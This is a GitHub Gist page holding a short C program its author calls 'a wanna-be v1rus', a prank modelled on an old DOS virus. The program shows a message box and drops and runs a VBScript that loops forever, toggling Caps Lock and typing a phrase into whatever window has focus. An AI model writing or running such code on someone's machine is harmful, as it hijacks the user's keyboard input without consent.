Last active
April 29, 2022 05:00
-
-
Save eimon96/28a53b0db7cf2085ae08cf70a1a8c6d7 to your computer and use it in GitHub Desktop.
a wanna-be v1rus - 4/2022
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// based on dos v "techno" | |
// made for educational purposes only | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <windows.h> | |
void blink(); | |
DWORD WINAPI msg(); | |
// targeting windows10 | |
int main() | |
{ | |
// msg box in another thread | |
HANDLE thread = CreateThread(NULL, 0, msg, NULL, 0, NULL); | |
// "the unexpected behavior" | |
blink(); | |
return 0; | |
} | |
// blink the caps lock etc | |
void blink() | |
{ | |
FILE *fp; | |
char fname[] = "trance.vbs"; | |
// w+ read write overwrite | |
fp = fopen(fname,"w+"); | |
// VBScript | |
fputs("set x=wscript.createobject (\"wscript.shell\")\ndo\nwscript.sleep 100\nx.sendkeys \"{CAPSLOCK}\"\nx.sendkeys \"XOREVW AKOMA TRANCE \"\nloop\n", fp); | |
fclose(fp); | |
// run | |
system("wscript trance.vbs"); | |
} | |
// msg box display | |
DWORD WINAPI msg() | |
{ | |
MessageBox(0, "Xorevw akoma Trance!", "Trance", 0); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment